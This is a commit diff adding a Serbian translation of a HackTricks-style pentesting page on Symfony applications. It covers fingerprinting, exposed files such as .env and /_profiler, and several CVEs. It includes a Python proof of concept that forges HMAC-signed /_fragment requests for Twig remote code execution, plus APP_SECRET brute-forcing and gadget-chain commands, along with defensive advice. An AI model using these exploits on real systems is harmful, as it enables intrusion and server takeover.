Translated ['src/network-services-pentesting/pentesting-web/symphony.md'

This commit is contained in:
Translator 2025-07-23 10:24:27 +00:00
parent 5d5313773f
commit 0db76bd3b8

View File

@ -2,10 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
Pogledajte sledeće postove:
Symfony je jedan od najčešće korišćenih PHP okvira i redovno se pojavljuje u procenama ciljeva preduzeća, e-trgovine i CMS-a (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova stranica prikuplja ofanzivne savete, uobičajene greške u konfiguraciji i nedavne ranjivosti koje treba da imate na svojoj listi kada otkrijete Symfony aplikaciju.
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
> Istorijska napomena: Veliki deo ekosistema još uvek koristi **5.4 LTS** granu (EOL **novembar 2025**). Uvek proverite tačnu minor verziju jer mnoge sigurnosne preporuke iz 2023-2025. godine ispravljene su samo u zakrpama (npr. 5.4.46 → 5.4.50).
---
## Recon & Enumeration
### Finger-printing
* HTTP odgovori: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` ili kolačići koji počinju sa `sf_redirect`, `sf_session`, `MOCKSESSID`.
* Curenje izvornog koda (`composer.json`, `composer.lock`, `/vendor/…`) često otkriva tačnu verziju:
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Javne rute koje postoje samo na Symfony:
* `/_profiler` (Symfony **Profiler** & debug toolbar)
* `/_wdt/<token>` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (lepe stranice grešaka)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
* Wappalyzer, BuiltWith ili ffuf/feroxbuster liste reči: `symfony.txt` → tražite `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
### Zanimljive datoteke & krajnje tačke
| Putanja | Zašto je važna |
|------|----------------|
| `/.env`, `/.env.local`, `/.env.prod` | Često pogrešno postavljene → curenje `APP_SECRET`, DB kredencijali, SMTP, AWS ključevi |
| `/.git`, `.svn`, `.hg` | Otkriće izvora → kredencijali + poslovna logika |
| `/var/log/*.log`, `/log/dev.log` | Pogrešna konfiguracija web-root-a otkriva stack-traces |
| `/_profiler` | Puna istorija zahteva, konfiguracija, servisni kontejner, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | Ulazna tačka koju koristi ESI/HInclude. Moguće je zloupotrebljavati kada znate `APP_SECRET` |
| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE ako je dostupan (CVE-2017-9841) |
| `/index.php/_error/{code}` | Finger-print & ponekad curenje tragova izuzetaka |
---
## Visoko uticajne ranjivosti (2023-2025)
### 1. Otkriće APP_SECRET ➜ RCE putem `/_fragment` (poznato kao “secret-fragment”)
* **CVE-2019-18889** prvobitno, ali *još uvek* se pojavljuje na modernim ciljevima kada je debug ostavljen uključen ili je `.env` izložen.
* Kada znate 32-znamenkasti `APP_SECRET`, kreirajte HMAC token i zloupotrebite unutrašnji `render()` kontroler da izvršite proizvoljni Twig:
```python
# PoC zahteva tajnu
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE u Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* Odličan članak i skripta za eksploataciju: Ambionics blog (linkovan u Referencama).
### 2. Windows Process Hijack CVE-2024-51736
* `Process` komponenta pretražuje trenutni radni direktorijum **pre** `PATH` na Windows-u. Napadač koji može da otpremi `tar.exe`, `cmd.exe`, itd. u pisiv web-root i pokrene `Process` (npr. ekstrakcija fajlova, generisanje PDF-a) dobija izvršenje komandi.
* Ispravljeno u 5.4.50, 6.4.14, 7.1.7.
### 3. Session-Fixation CVE-2023-46733
* Autentifikacioni čuvar ponovo koristi postojeći ID sesije nakon prijave. Ako napadač postavi kolačić **pre** nego što žrtva autentifikuje, preuzima nalog nakon prijave.
### 4. Twig sandbox XSS CVE-2023-46734
* U aplikacijama koje izlažu korisnički kontrolisane šablone (admin CMS, alat za izradu e-pošte) `nl2br` filter može biti zloupotrebljen da zaobiđe sandbox i injektuje JS.
### 5. Symfony 1 gadget lanci (još uvek se nalaze u nasleđenim aplikacijama)
* `phpggc symfony/1 system id` proizvodi Phar payload koji pokreće RCE kada se desi unserialize() na klasama kao što su `sfNamespacedParameterHolder`. Proverite krajnje tačke za otpremu fajlova i `phar://` omotače.
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## Exploitation Cheat-Sheet
### Izračunajte HMAC token za `/_fragment`
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### Bruteforce slabe `APP_SECRET`
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE putem izloženog Symfony Console
Ako je `bin/console` dostupan putem `php-fpm` ili direktnog CLI upload-a:
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
Koristite deserializacione gadget-e unutar direktorijuma keša ili napišite zloćudni Twig šablon koji će biti izvršen prilikom sledećeg zahteva.
---
## Odbrambene napomene
1. **Nikada ne postavljajte debug** (`APP_ENV=dev`, `APP_DEBUG=1`) u produkciju; blokirajte `/app_dev.php`, `/_profiler`, `/_wdt` u konfiguraciji web-servera.
2. Čuvajte tajne u env varijablama ili `vault/secrets.local.php`, *nikada* u datotekama dostupnim kroz dokument-root.
3. Sprovodite upravljanje zakrpama prijavite se na Symfony sigurnosne obaveštenja i održavajte barem LTS nivo zakrpa.
4. Ako radite na Windows-u, odmah se nadogradite da biste ublažili CVE-2024-51736 ili dodajte `open_basedir`/`disable_functions` odbranu u dubini.
---
### Korisni ofanzivni alati
* **ambionics/symfony-exploits** RCE sa tajnim fragmentom, otkrivanje ruta debagera.
* **phpggc** Gotove lance gadget-a za Symfony 1 i 2.
* **sf-encoder** mali pomoćnik za izračunavanje `_fragment` HMAC (Go implementacija).
## Reference
* [Ambionics Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Security Advisory CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}